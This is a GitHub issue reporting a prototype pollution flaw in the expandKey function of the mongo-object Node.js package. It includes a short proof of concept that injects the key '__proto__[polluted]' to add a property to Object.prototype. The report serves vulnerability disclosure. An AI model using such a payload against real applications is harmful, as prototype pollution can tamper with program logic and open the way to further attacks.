Skip to content

Prototype Pollution in expandKey function #27

@cstimkong

Description

@cstimkong

Describe the bug

Prototype Pollution vulnerability in the function expandKey (util.js)

To Reproduce

Use the following PoC:

var mo = require('mongo-object');
assert(({}).polluted === undefined);

mo.expandKey('yes', '__proto__[polluted]', {});
assert(({}).polluted === 'yes');

Expected behavior

The polluted field of Object.prototype should not be defined.

Desktop:

  • OS: any
  • Node: version 22

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions